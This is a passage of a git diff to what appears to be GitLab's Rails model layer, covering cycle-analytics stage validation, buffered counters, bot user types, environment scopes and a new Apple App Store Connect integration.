- def subject_class
- start_event.object_type
- end
-
- def matches_with_stage_params?(stage_params)
- default_stage? &&
- start_event_identifier.to_s.eql?(stage_params[:start_event_identifier].to_s) &&
- end_event_identifier.to_s.eql?(stage_params[:end_event_identifier].to_s)
- end
-
- def find_with_same_parent!(id)
- parent.cycle_analytics_stages.find(id)
- end
-
- private
-
- def validate_stage_event_pairs
- return if start_event_identifier.nil? || end_event_identifier.nil?
-
- unless pairing_rules.fetch(start_event.class, []).include?(end_event.class)
- errors.add(:end_event, s_('CycleAnalytics|not allowed for the given start event'))
- end
- end
-
- def pairing_rules
- Gitlab::Analytics::CycleAnalytics::StageEvents.pairing_rules
- end
-
- def validate_labels
- validate_label_within_group(:start_event_label_id, start_event_label_id) if start_event_label_id_changed?
- validate_label_within_group(:end_event_label_id, end_event_label_id) if end_event_label_id_changed?
- end
-
- def validate_label_within_group(association_name, label_id)
- return unless label_id
- return unless group
-
- unless label_available_for_group?(label_id)
- errors.add(association_name, s_('CycleAnalyticsStage|is not available for the selected group'))
- end
- end
-
- def label_available_for_group?(label_id)
- LabelsFinder.new(nil, { group_id: group.id, include_ancestor_groups: true, only_group_labels: true })
- .execute(skip_authorization: true)
- .id_in(label_id)
- .exists?
- end
-
- def ensure_stage_event_hash_id
- previous_stage_event_hash = stage_event_hash&.hash_sha256
-
- if previous_stage_event_hash.blank? || events_hash_code != previous_stage_event_hash
- self.stage_event_hash_id = Analytics::CycleAnalytics::StageEventHash.record_id_by_hash_sha256(events_hash_code)
- end
- end
-
- def cleanup_old_stage_event_hash
- if stage_event_hash_id_previously_changed? && stage_event_hash_id_previously_was
- Analytics::CycleAnalytics::StageEventHash.cleanup_if_unused(stage_event_hash_id_previously_was)
- end
- end
- end
- end
-end
diff --git a/app/models/concerns/analytics/cycle_analytics/stageable.rb b/app/models/concerns/analytics/cycle_analytics/stageable.rb
new file mode 100644
index 00000000000..d1f948d1366
--- /dev/null
+++ b/app/models/concerns/analytics/cycle_analytics/stageable.rb
@@ -0,0 +1,151 @@
+# frozen_string_literal: true
+
+module Analytics
+ module CycleAnalytics
+ module Stageable
+ extend ActiveSupport::Concern
+ include RelativePositioning
+ include Gitlab::Utils::StrongMemoize
+
+ included do
+ belongs_to :start_event_label, class_name: 'GroupLabel', optional: true
+ belongs_to :end_event_label, class_name: 'GroupLabel', optional: true
+ belongs_to :stage_event_hash, class_name: 'Analytics::CycleAnalytics::StageEventHash', optional: true
+
+ validates :name, presence: true
+ validates :name, exclusion: { in: Gitlab::Analytics::CycleAnalytics::DefaultStages.names }, if: :custom?
+ validates :start_event_identifier, presence: true
+ validates :end_event_identifier, presence: true
+ validates :start_event_label_id, presence: true, if: :start_event_label_based?
+ validates :end_event_label_id, presence: true, if: :end_event_label_based?
+ validate :validate_stage_event_pairs
+ validate :validate_labels
+
+ enum start_event_identifier: Gitlab::Analytics::CycleAnalytics::StageEvents.to_enum,
+ _prefix: :start_event_identifier
+ enum end_event_identifier: Gitlab::Analytics::CycleAnalytics::StageEvents.to_enum,
+ _prefix: :end_event_identifier
+
+ alias_attribute :custom_stage?, :custom
+ scope :default_stages, -> { where(custom: false) }
+ scope :ordered, -> { order(:relative_position, :id) }
+ scope :with_preloaded_labels, -> { includes(:start_event_label, :end_event_label) }
+ scope :for_list, -> { with_preloaded_labels.ordered }
+ scope :by_value_stream, ->(value_stream) { where(value_stream_id: value_stream.id) }
+
+ before_save :ensure_stage_event_hash_id
+ after_commit :cleanup_old_stage_event_hash
+ end
+
+ def start_event
+ Gitlab::Analytics::CycleAnalytics::StageEvents[start_event_identifier].new(params_for_start_event)
+ end
+ strong_memoize_attr :start_event
+
+ def end_event
+ Gitlab::Analytics::CycleAnalytics::StageEvents[end_event_identifier].new(params_for_end_event)
+ end
+ strong_memoize_attr :end_event
+
+ def events_hash_code
+ Digest::SHA256.hexdigest("#{start_event.hash_code}-#{end_event.hash_code}")
+ end
+
+ def start_event_label_based?
+ start_event_identifier && start_event.label_based?
+ end
+
+ def end_event_label_based?
+ end_event_identifier && end_event.label_based?
+ end
+
+ def start_event_identifier=(identifier)
+ clear_memoization(:start_event)
+ super
+ end
+
+ def end_event_identifier=(identifier)
+ clear_memoization(:end_event)
+ super
+ end
+
+ def params_for_start_event
+ start_event_label.present? ? { label: start_event_label } : {}
+ end
+
+ def params_for_end_event
+ end_event_label.present? ? { label: end_event_label } : {}
+ end
+
+ def default_stage?
+ !custom
+ end
+
+ # The model class that is going to be queried, Issue or MergeRequest
+ def subject_class
+ start_event.object_type
+ end
+
+ def matches_with_stage_params?(stage_params)
+ default_stage? &&
+ start_event_identifier.to_s.eql?(stage_params[:start_event_identifier].to_s) &&
+ end_event_identifier.to_s.eql?(stage_params[:end_event_identifier].to_s)
+ end
+
+ def find_with_same_parent!(id)
+ parent.cycle_analytics_stages.find(id)
+ end
+
+ private
+
+ def validate_stage_event_pairs
+ return if start_event_identifier.nil? || end_event_identifier.nil?
+
+ return if pairing_rules.fetch(start_event.class, []).include?(end_event.class)
+
+ errors.add(:end_event, s_('CycleAnalytics|not allowed for the given start event'))
+ end
+
+ def pairing_rules
+ Gitlab::Analytics::CycleAnalytics::StageEvents.pairing_rules
+ end
+
+ def validate_labels
+ validate_label_within_namespace(:start_event_label_id, start_event_label_id) if start_event_label_id_changed?
+ validate_label_within_namespace(:end_event_label_id, end_event_label_id) if end_event_label_id_changed?
+ end
+
+ def validate_label_within_namespace(association_name, label_id)
+ return unless label_id
+
+ return if label_available_for_namespace?(label_id)
+
+ errors.add(association_name, s_('CycleAnalyticsStage|is not available for the selected group'))
+ end
+
+ def label_available_for_namespace?(label_id)
+ subject = is_a?(::Analytics::CycleAnalytics::Stage) ? namespace : project.group
+ return unless subject
+
+ LabelsFinder.new(nil, { group_id: subject.id, include_ancestor_groups: true, only_group_labels: true })
+ .execute(skip_authorization: true)
+ .id_in(label_id)
+ .exists?
+ end
+
+ def ensure_stage_event_hash_id
+ previous_stage_event_hash = stage_event_hash&.hash_sha256
+
+ return unless previous_stage_event_hash.blank? || events_hash_code != previous_stage_event_hash
+
+ self.stage_event_hash_id = Analytics::CycleAnalytics::StageEventHash.record_id_by_hash_sha256(events_hash_code)
+ end
+
+ def cleanup_old_stage_event_hash
+ return unless stage_event_hash_id_previously_changed? && stage_event_hash_id_previously_was
+
+ Analytics::CycleAnalytics::StageEventHash.cleanup_if_unused(stage_event_hash_id_previously_was)
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/board_recent_visit.rb b/app/models/concerns/board_recent_visit.rb
index fd4d574ac58..c1c8307500e 100644
--- a/app/models/concerns/board_recent_visit.rb
+++ b/app/models/concerns/board_recent_visit.rb
@@ -9,9 +9,7 @@ module BoardRecentVisit
"user" => user,
board_parent_relation => board.resource_parent,
board_relation => board
- ).tap do |visit|
- visit.touch
- end
+ ).tap(&:touch)
rescue ActiveRecord::RecordNotUnique
retry
end
diff --git a/app/models/concerns/ci/has_runner_executor.rb b/app/models/concerns/ci/has_runner_executor.rb
new file mode 100644
index 00000000000..dc70cdb2018
--- /dev/null
+++ b/app/models/concerns/ci/has_runner_executor.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Ci
+ module HasRunnerExecutor
+ extend ActiveSupport::Concern
+
+ included do
+ enum executor_type: {
+ unknown: 0,
+ custom: 1,
+ shell: 2,
+ docker: 3,
+ docker_windows: 4,
+ docker_ssh: 5,
+ ssh: 6,
+ parallels: 7,
+ virtualbox: 8,
+ docker_machine: 9,
+ docker_ssh_machine: 10,
+ kubernetes: 11
+ }, _suffix: true
+ end
+ end
+end
diff --git a/app/models/concerns/counter_attribute.rb b/app/models/concerns/counter_attribute.rb
index f1efbba67e1..784afd1f231 100644
--- a/app/models/concerns/counter_attribute.rb
+++ b/app/models/concerns/counter_attribute.rb
@@ -88,12 +88,20 @@ module CounterAttribute
end
def increment_counter(attribute, increment)
- return if increment == 0
+ return if increment.amount == 0
run_after_commit_or_now do
new_value = counter(attribute).increment(increment)
- log_increment_counter(attribute, increment, new_value)
+ log_increment_counter(attribute, increment.amount, new_value)
+ end
+ end
+
+ def bulk_increment_counter(attribute, increments)
+ run_after_commit_or_now do
+ new_value = counter(attribute).bulk_increment(increments)
+
+ log_increment_counter(attribute, increments.sum(&:amount), new_value)
end
end
@@ -103,14 +111,22 @@ module CounterAttribute
end
end
- def reset_counter!(attribute)
+ def initiate_refresh!(attribute)
+ raise ArgumentError, %(attribute "#{attribute}" cannot be refreshed) unless counter_attribute_enabled?(attribute)
+
detect_race_on_record(log_fields: { caller: __method__, attributes: attribute }) do
- counter(attribute).reset!
+ counter(attribute).initiate_refresh!
end
log_clear_counter(attribute)
end
+ def finalize_refresh(attribute)
+ raise ArgumentError, %(attribute "#{attribute}" cannot be refreshed) unless counter_attribute_enabled?(attribute)
+
+ counter(attribute).finalize_refresh
+ end
+
def execute_after_commit_callbacks
self.class.after_commit_callbacks.each do |callback|
callback.call(self.reset)
@@ -122,11 +138,17 @@ module CounterAttribute
def build_counter_for(attribute)
raise ArgumentError, %(attribute "#{attribute}" does not exist) unless has_attribute?(attribute)
- if counter_attribute_enabled?(attribute)
- Gitlab::Counters::BufferedCounter.new(self, attribute)
- else
- Gitlab::Counters::LegacyCounter.new(self, attribute)
- end
+ return legacy_counter(attribute) unless counter_attribute_enabled?(attribute)
+
+ buffered_counter(attribute)
+ end
+
+ def legacy_counter(attribute)
+ Gitlab::Counters::LegacyCounter.new(self, attribute)
+ end
+
+ def buffered_counter(attribute)
+ Gitlab::Counters::BufferedCounter.new(self, attribute)
end
def database_lock_key
diff --git a/app/models/concerns/has_user_type.rb b/app/models/concerns/has_user_type.rb
index 1af655277b8..b02c95c9662 100644
--- a/app/models/concerns/has_user_type.rb
+++ b/app/models/concerns/has_user_type.rb
@@ -14,20 +14,32 @@ module HasUserType
migration_bot: 7,
security_bot: 8,
automation_bot: 9,
- admin_bot: 11
+ admin_bot: 11,
+ suggested_reviewers_bot: 12
}.with_indifferent_access.freeze
- BOT_USER_TYPES = %w[alert_bot project_bot support_bot visual_review_bot migration_bot security_bot automation_bot admin_bot].freeze
+ BOT_USER_TYPES = %w[
+ alert_bot
+ project_bot
+ support_bot
+ visual_review_bot
+ migration_bot
+ security_bot
+ automation_bot
+ admin_bot
+ suggested_reviewers_bot
+ ].freeze
+
NON_INTERNAL_USER_TYPES = %w[human project_bot service_user].freeze
INTERNAL_USER_TYPES = (USER_TYPES.keys - NON_INTERNAL_USER_TYPES).freeze
included do
scope :humans, -> { where(user_type: :human) }
scope :bots, -> { where(user_type: BOT_USER_TYPES) }
- scope :without_bots, -> { humans.or(where.not(user_type: BOT_USER_TYPES)) }
+ scope :without_bots, -> { humans.or(where(user_type: USER_TYPES.keys - BOT_USER_TYPES)) }
scope :non_internal, -> { humans.or(where(user_type: NON_INTERNAL_USER_TYPES)) }
- scope :without_ghosts, -> { humans.or(where.not(user_type: :ghost)) }
- scope :without_project_bot, -> { humans.or(where.not(user_type: :project_bot)) }
+ scope :without_ghosts, -> { humans.or(where(user_type: USER_TYPES.keys - ['ghost'])) }
+ scope :without_project_bot, -> { humans.or(where(user_type: USER_TYPES.keys - ['project_bot'])) }
scope :human_or_service_user, -> { humans.or(where(user_type: :service_user)) }
enum user_type: USER_TYPES
diff --git a/app/models/concerns/noteable.rb b/app/models/concerns/noteable.rb
index 492d55c74e2..eed396f785b 100644
--- a/app/models/concerns/noteable.rb
+++ b/app/models/concerns/noteable.rb
@@ -88,7 +88,7 @@ module Noteable
def discussions
@discussions ||= discussion_notes
- .inc_relations_for_view
+ .inc_relations_for_view(self)
.discussions(self)
end
@@ -126,7 +126,7 @@ module Noteable
def grouped_diff_discussions(*args)
# Doesn't use `discussion_notes`, because this may include commit diff notes
# besides MR diff notes, that we do not want to display on the MR Changes tab.
- notes.inc_relations_for_view.grouped_diff_discussions(*args)
+ notes.inc_relations_for_view(self).grouped_diff_discussions(*args)
end
# rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -205,6 +205,14 @@ module Noteable
model_name.singular
end
+ def commenters(user: nil)
+ eligable_notes = notes.user
+
+ eligable_notes = eligable_notes.not_internal unless user&.can?(:read_internal_note, self)
+
+ User.where(id: eligable_notes.select(:author_id).distinct)
+ end
+
private
# Synthetic system notes don't have discussion IDs because these are generated dynamically
diff --git a/app/models/concerns/project_features_compatibility.rb b/app/models/concerns/project_features_compatibility.rb
index d37f20e2e7c..b910c0ab5c2 100644
--- a/app/models/concerns/project_features_compatibility.rb
+++ b/app/models/concerns/project_features_compatibility.rb
@@ -124,8 +124,13 @@ module ProjectFeaturesCompatibility
private
def write_feature_attribute_boolean(field, value)
- access_level = Gitlab::Utils.to_boolean(value) ? ProjectFeature::ENABLED : ProjectFeature::DISABLED
- write_feature_attribute_raw(field, access_level)
+ value_type = Gitlab::Utils.to_boolean(value)
+ if value_type.in?([true, false])
+ access_level = value_type ? ProjectFeature::ENABLED : ProjectFeature::DISABLED
+ write_feature_attribute_raw(field, access_level)
+ else
+ write_feature_attribute_string(field, value)
+ end
end
def write_feature_attribute_string(field, value)
diff --git a/app/models/concerns/resolvable_discussion.rb b/app/models/concerns/resolvable_discussion.rb
index 92a88d2f7c8..141c480ea1f 100644
--- a/app/models/concerns/resolvable_discussion.rb
+++ b/app/models/concerns/resolvable_discussion.rb
@@ -96,7 +96,7 @@ module ResolvableDiscussion
def unresolve!
return unless resolvable?
- update { |notes| notes.unresolve! }
+ update(&:unresolve!)
end
def clear_memoized_values
diff --git a/app/models/concerns/safely_change_column_default.rb b/app/models/concerns/safely_change_column_default.rb
new file mode 100644
index 00000000000..567f690d950
--- /dev/null
+++ b/app/models/concerns/safely_change_column_default.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+# == SafelyChangeColumnDefault concern.
+#
+# Contains functionality that allows safely changing a column default without downtime.
+# Without this concern, Rails can mutate the old default value to the new default value if the old default is explicitly
+# specified.
+#
+# Usage:
+#
+# class SomeModel < ApplicationRecord
+# include SafelyChangeColumnDefault
+#
+# columns_changing_default :value
+# end
+#
+# # Assume a default of 100 for value
+# SomeModel.create!(value: 100) # INSERT INTO some_model (value) VALUES (100)
+# change_column_default('some_model', 'value', from: 100, to: 101)
+# SomeModel.create!(value: 100) # INSERT INTO some_model (value) VALUES (100)
+# # Without this concern, would be INSERT INTO some_model (value) DEFAULT VALUES and would insert 101.
+module SafelyChangeColumnDefault
+ extend ActiveSupport::Concern
+
+ class_methods do
+ # Indicate that one or more columns will have their database default change.
+ #
+ # By indicating those columns here, this helper prevents a case where explicitly writing the old database default
+ # will be mutated to the new database default.
+ def columns_changing_default(*columns)
+ self.columns_with_changing_default = columns.map(&:to_s)
+ end
+ end
+
+ included do
+ class_attribute :columns_with_changing_default, default: []
+
+ before_create do
+ columns_with_changing_default.to_a.each do |attr_name|
+ attr = @attributes[attr_name]
+
+ attribute_will_change!(attr_name) if !attr.changed? && attr.came_from_user?
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/update_project_statistics.rb b/app/models/concerns/update_project_statistics.rb
index 586f1dbb65c..89398537e0a 100644
--- a/app/models/concerns/update_project_statistics.rb
+++ b/app/models/concerns/update_project_statistics.rb
@@ -78,9 +78,10 @@ module UpdateProjectStatistics
return if delta == 0
return if project.nil?
+ increment = Gitlab::Counters::Increment.new(amount: delta, ref: id)
+
run_after_commit do
- ProjectStatistics.increment_statistic(
- project, self.class.project_statistics_name, delta)
+ ProjectStatistics.increment_statistic(project, self.class.project_statistics_name, increment)
end
end
end
diff --git a/app/models/concerns/work_item_resource_event.rb b/app/models/concerns/work_item_resource_event.rb
new file mode 100644
index 00000000000..d0323feb029
--- /dev/null
+++ b/app/models/concerns/work_item_resource_event.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module WorkItemResourceEvent
+ extend ActiveSupport::Concern
+
+ included do
+ belongs_to :work_item, foreign_key: 'issue_id'
+ end
+
+ def work_item_synthetic_system_note(events: nil)
+ # System notes for label resource events are handled in batches, so that we have single system note for multiple
+ # label changes.
+ if is_a?(ResourceLabelEvent) && events.present?
+ return synthetic_note_class.from_events(events, resource: work_item, resource_parent: work_item.project)
+ end
+
+ synthetic_note_class.from_event(self, resource: work_item, resource_parent: work_item.project)
+ end
+
+ def synthetic_note_class
+ raise NoMethodError, 'must implement `synthetic_note_class` method'
+ end
+end
diff --git a/app/models/deploy_key.rb b/app/models/deploy_key.rb
index 2563fd484f1..aaafa396337 100644
--- a/app/models/deploy_key.rb
+++ b/app/models/deploy_key.rb
@@ -19,7 +19,7 @@ class DeployKey < Key
scope :with_projects, -> { includes(deploy_keys_projects: { project: [:route, namespace: :route] }) }
scope :including_projects_with_write_access, -> { includes(:projects_with_write_access) }
- accepts_nested_attributes_for :deploy_keys_projects
+ accepts_nested_attributes_for :deploy_keys_projects, reject_if: :reject_deploy_keys_projects?
def private?
!public?
@@ -72,4 +72,10 @@ class DeployKey < Key
def impersonated?
false
end
+
+ private
+
+ def reject_deploy_keys_projects?
+ !self.valid?
+ end
end
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index 1254ce1c90a..1ae7d9925a5 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -103,15 +103,6 @@ class Deployment < ApplicationRecord
deployment.finished_at = Time.current
end
- after_transition any => :running do |deployment|
- next unless deployment.project.ci_forward_deployment_enabled?
- next if Feature.enabled?(:prevent_outdated_deployment_jobs, deployment.project)
-
- deployment.run_after_commit do
- Deployments::DropOlderDeploymentsWorker.perform_async(id)
- end
- end
-
after_transition any => :running do |deployment, transition|
deployment.run_after_commit do
Deployments::HooksWorker.perform_async(deployment_id: id, status: transition.to, status_changed_at: Time.current)
@@ -303,7 +294,7 @@ class Deployment < ApplicationRecord
end
def older_than_last_successful_deployment?
- last_deployment_id = environment.last_deployment&.id
+ last_deployment_id = environment&.last_deployment&.id
return false unless last_deployment_id.present?
return false if self.id == last_deployment_id
diff --git a/app/models/description_version.rb b/app/models/description_version.rb
index 96c8553c101..fb61b7f5fde 100644
--- a/app/models/description_version.rb
+++ b/app/models/description_version.rb
@@ -6,6 +6,8 @@ class DescriptionVersion < ApplicationRecord
validate :exactly_one_issuable
+ delegate :resource_parent, to: :issuable
+
def self.issuable_attrs
%i(issue merge_request).freeze
end
diff --git a/app/models/environment.rb b/app/models/environment.rb
index f1edfb3a34b..7d99f10822d 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -98,6 +98,27 @@ class Environment < ApplicationRecord
scope :auto_stoppable, -> (limit) { available.where('auto_stop_at < ?', Time.zone.now).limit(limit) }
scope :auto_deletable, -> (limit) { stopped.where('auto_delete_at < ?', Time.zone.now).limit(limit) }
+ scope :deployed_and_updated_before, -> (project_id, before) do
+ # this query joins deployments and filters out any environment that has recent deployments
+ joins = %{
+ LEFT JOIN "deployments" on "deployments".environment_id = "environments".id
+ AND "deployments".project_id = #{project_id}
+ AND "deployments".updated_at >= #{connection.quote(before)}
+ }
+ Environment.joins(joins)
+ .where(project_id: project_id, updated_at: ...before)
+ .group('id', 'deployments.id')
+ .having('deployments.id IS NULL')
+ end
+ scope :without_protected, -> (project) {} # no-op when not in EE mode
+
+ scope :without_names, -> (names) do
+ where.not(name: names)
+ end
+ scope :without_tiers, -> (tiers) do
+ where.not(tier: tiers)
+ end
+
##
# Search environments which have names like the given query.
# Do not set a large limit unless you've confirmed that it works on gitlab.com scale.
diff --git a/app/models/event.rb b/app/models/event.rb
index ed65b367b8a..333841b1f90 100644
--- a/app/models/event.rb
+++ b/app/models/event.rb
@@ -31,6 +31,7 @@ class Event < ApplicationRecord
DESIGN_ACTIONS = [:created, :updated, :destroyed].freeze
TEAM_ACTIONS = [:joined, :left, :expired].freeze
ISSUE_ACTIONS = [:created, :updated, :closed, :reopened].freeze
+ ISSUE_TYPES = [Issue.name, WorkItem.name].freeze
TARGET_TYPES = HashWithIndifferentAccess.new(
issue: Issue,
@@ -83,6 +84,7 @@ class Event < ApplicationRecord
scope :recent, -> { reorder(id: :desc) }
scope :for_wiki_page, -> { where(target_type: 'WikiPage::Meta') }
scope :for_design, -> { where(target_type: 'DesignManagement::Design') }
+ scope :for_issue, -> { where(target_type: ISSUE_TYPES) }
scope :for_fingerprint, ->(fingerprint) do
fingerprint.present? ? where(fingerprint: fingerprint) : none
end
diff --git a/app/models/group.rb b/app/models/group.rb
index 0cdd7dd8596..c7ad4d61ddb 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -30,6 +30,8 @@ class Group < Namespace
has_many :all_group_members, -> { where(requested_at: nil) }, dependent: :destroy, as: :source, class_name: 'GroupMember' # rubocop:disable Cop/ActiveRecordDependent
has_many :group_members, -> { where(requested_at: nil).where.not(members: { access_level: Gitlab::Access::MINIMAL_ACCESS }) }, dependent: :destroy, as: :source # rubocop:disable Cop/ActiveRecordDependent
+ has_many :namespace_members, -> { where(requested_at: nil).where.not(members: { access_level: Gitlab::Access::MINIMAL_ACCESS }).unscope(where: %i[source_id source_type]) },
+ foreign_key: :member_namespace_id, inverse_of: :group, class_name: 'GroupMember'
alias_method :members, :group_members
has_many :users, through: :group_members
@@ -39,6 +41,8 @@ class Group < Namespace
source: :user
has_many :requesters, -> { where.not(requested_at: nil) }, dependent: :destroy, as: :source, class_name: 'GroupMember' # rubocop:disable Cop/ActiveRecordDependent
+ has_many :namespace_requesters, -> { where.not(requested_at: nil).unscope(where: %i[source_id source_type]) },
+ foreign_key: :member_namespace_id, inverse_of: :group, class_name: 'GroupMember'
has_many :members_and_requesters, as: :source, class_name: 'GroupMember'
has_many :milestones
@@ -815,7 +819,7 @@ class Group < Namespace
case state
when SR_DISABLED_AND_UNOVERRIDABLE then disable_shared_runners! # also disallows override
- when SR_DISABLED_WITH_OVERRIDE then disable_shared_runners_and_allow_override!
+ when SR_DISABLED_WITH_OVERRIDE, SR_DISABLED_AND_OVERRIDABLE then disable_shared_runners_and_allow_override!
when SR_ENABLED then enable_shared_runners! # set both to true
end
end
@@ -846,7 +850,7 @@ class Group < Namespace
def has_project_with_service_desk_enabled?
Gitlab::ServiceDesk.supported? && all_projects.service_desk_enabled.exists?
end
- strong_memoize_attr :has_project_with_service_desk_enabled?, :has_project_with_service_desk_enabled
+ strong_memoize_attr :has_project_with_service_desk_enabled?
def activity_path
Gitlab::Routing.url_helpers.activity_group_path(self)
@@ -915,6 +919,10 @@ class Group < Namespace
feature_flag_enabled_for_self_or_ancestor?(:work_items_create_from_markdown)
end
+ def usage_quotas_enabled?
+ ::Feature.enabled?(:usage_quotas_for_all_editions, self) && root?
+ end
+
# Check for enabled features, similar to `Project#feature_available?`
# NOTE: We still want to keep this after removing `Namespace#feature_available?`.
override :feature_available?
@@ -1055,7 +1063,7 @@ class Group < Namespace
end
def disable_shared_runners_and_allow_override!
- # enabled -> disabled_with_override
+ # enabled -> disabled_and_overridable
if shared_runners_enabled?
update!(
shared_runners_enabled: false,
@@ -1068,7 +1076,7 @@ class Group < Namespace
all_projects.update_all(shared_runners_enabled: false)
- # disabled_and_unoverridable -> disabled_with_override
+ # disabled_and_unoverridable -> disabled_and_overridable
else
update!(allow_descendants_override_disabled_shared_runners: true)
end
diff --git a/app/models/integration.rb b/app/models/integration.rb
index a630a6dee11..54eeab10360 100644
--- a/app/models/integration.rb
+++ b/app/models/integration.rb
@@ -27,7 +27,7 @@ class Integration < ApplicationRecord
# TODO Shimo is temporary disabled on group and instance-levels.
# See: https://gitlab.com/gitlab-org/gitlab/-/issues/345677
PROJECT_SPECIFIC_INTEGRATION_NAMES = %w[
- jenkins shimo
+ apple_app_store jenkins shimo
].freeze
# Fake integrations to help with local development.
@@ -75,6 +75,7 @@ class Integration < ApplicationRecord
attribute :active, default: false
attribute :alert_events, default: true
+ attribute :incident_events, default: false
attribute :category, default: 'common'
attribute :commit_events, default: true
attribute :confidential_issues_events, default: true
@@ -132,6 +133,7 @@ class Integration < ApplicationRecord
scope :wiki_page_hooks, -> { where(wiki_page_events: true, active: true) }
scope :deployment_hooks, -> { where(deployment_events: true, active: true) }
scope :alert_hooks, -> { where(alert_events: true, active: true) }
+ scope :incident_hooks, -> { where(incident_events: true, active: true) }
scope :deployment, -> { where(category: 'deployment') }
class << self
diff --git a/app/models/integrations/apple_app_store.rb b/app/models/integrations/apple_app_store.rb
new file mode 100644
index 00000000000..84185542939
--- /dev/null
+++ b/app/models/integrations/apple_app_store.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+require 'app_store_connect'
+
+module Integrations
+ class AppleAppStore < Integration
+ ISSUER_ID_REGEX = /\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/.freeze
+ KEY_ID_REGEX = /\A(?=.*[A-Z])(?=.*[0-9])[A-Z0-9]+\z/.freeze
+
+ with_options if: :activated? do
+ validates :app_store_issuer_id, presence: true, format: { with: ISSUER_ID_REGEX }
+ validates :app_store_key_id, presence: true, format: { with: KEY_ID_REGEX }
+ validates :app_store_private_key, presence: true, certificate_key: true
+ end
+
+ field :app_store_issuer_id,
+ section: SECTION_TYPE_CONNECTION,
+ required: true,
+ title: -> { s_('AppleAppStore|The Apple App Store Connect Issuer ID.') }
+
+ field :app_store_key_id,
+ section: SECTION_TYPE_CONNECTION,
+ required: true,
+ title: -> { s_('AppleAppStore|The Apple App Store Connect Key ID.') },
+ is_secret: false
+
+ field :app_store_private_key,
+ section: SECTION_TYPE_CONNECTION,
+ required: true,
+ type: 'textarea',
+ title: -> { s_('AppleAppStore|The Apple App Store Connect Private Key.') },
+ is_secret: false
+
+ def title
+ 'Apple App Store Connect'
+ end
+
+ def description
+ s_('AppleAppStore|Use GitLab to build and release an app in the Apple App Store.')
+ end
+
+ def help
+ variable_list = [
+ '<code>APP_STORE_CONNECT_API_KEY_ISSUER_ID</code>',
+ '<code>APP_STORE_CONNECT_API_KEY_KEY_ID</code>',
+ '<code>APP_STORE_CONNECT_API_KEY_KEY</code>'
+ ]
+
+ # rubocop:disable Layout/LineLength
+ texts = [
+ s_("Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."),
+ s_("After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."),
+ variable_list.join('<br>'),
+ s_(format("To get started, see the <a href='%{url}' target='_blank'>integration documentation</a> for instructions on how to generate App Store Connect credentials, and how to use this integration.", url: "https://docs.gitlab.com/ee/integration/apple_app_store.html")).html_safe
+ ]
+ # rubocop:enable Layout/LineLength
+
+ texts.join('<br><br>'.html_safe)
+ end
+
+ def self.to_param
+ 'apple_app_store'
+ end
+
+ def self.supported_events
+ []
+ end
+
+ def sections
+ [
+ {
+ type: SECTION_TYPE_CONNECTION,
+ title: s_('Integrations|Integration details'),
+ description: help
+ }
+ ]
+ end
+
+ def test(*_args)
+ response = client.apps
+ if response.has_key?(:errors)
+ { success: false, message: response[:errors].first[:title] }
+ else
+ { success: true }
+ end
+ end
+
+ def ci_variables
+ return [] unless activated?
+
+ [
+ { key: 'APP_STORE_CONNECT_API_KEY_ISSUER_ID', value: app_store_issuer_id, masked: true, public: false },
+ { key: 'APP_STORE_CONNECT_API_KEY_KEY', value: Base64.encode64(app_store_private_key), masked: true,
+ public: false },
+ { key: 'APP_STORE_CONNECT_API_KEY_KEY_ID', value: app_store_key_id, masked: true, public: false }
+ ]
+ end
+
+ private
+
+ def client
+ config = {
+ issuer_id: app_store_issuer_id,
+ key_id: app_store_key_id,
+ private_key: app_store_private_key
+ }
+
+ AppStoreConnect::Client.new(config)
+ end
+ end
+end
diff --git a/app/models/integrations/base_chat_notification.rb b/app/models/integrations/base_chat_notification.rb
index f2a707c2214..8700b673370 100644
--- a/app/models/integrations/base_chat_notification.rb
+++ b/app/models/integrations/base_chat_notification.rb
@@ -10,7 +10,7 @@ module Integrations
SUPPORTED_EVENTS = %w[
push issue confidential_issue merge_request note confidential_note
- tag_push pipeline wiki_page deployment
+ tag_push pipeline wiki_page deployment incident
].freeze
SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze
@@ -76,21 +76,29 @@ module Integrations
def default_fields
[
- { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
+ {
+ type: 'checkbox',
+ section: SECTION_TYPE_CONFIGURATION,
+ name: 'notify_only_broken_pipelines',
+ help: 'Do not send notifications for successful pipelines.'
+ }.freeze,
{
type: 'select',
+ section: SECTION_TYPE_CONFIGURATION,
name: 'branches_to_be_notified',
title: s_('Integrations|Branches for which notifications are to be sent'),
choices: self.class.branch_choices
}.freeze,
{
type: 'text',
+ section: SECTION_TYPE_CONFIGURATION,
name: 'labels_to_be_notified',
placeholder: '~backend,~frontend',
help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.'
}.freeze,
{
type: 'select',
+ section: SECTION_TYPE_CONFIGURATION,
name: 'labels_to_be_notified_behavior',
choices: [
['Match any of the labels', MATCH_ANY_LABEL],
@@ -224,6 +232,7 @@ module Integrations
data.merge(project_url: project_url, project_name: project_name).with_indifferent_access
end
+ # rubocop:disable Metrics/CyclomaticComplexity
def get_message(object_kind, data)
case object_kind
when "push", "tag_push"
@@ -240,8 +249,11 @@ module Integrations
Integrations::ChatMessage::WikiPageMessage.new(data)
when "deployment"
Integrations::ChatMessage::DeploymentMessage.new(data) if notify_for_ref?(data)
+ when "incident"
+ Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)
end
end
+ # rubocop:enable Metrics/CyclomaticComplexity
def build_event_channels
event_channel_names.map do |channel_field|
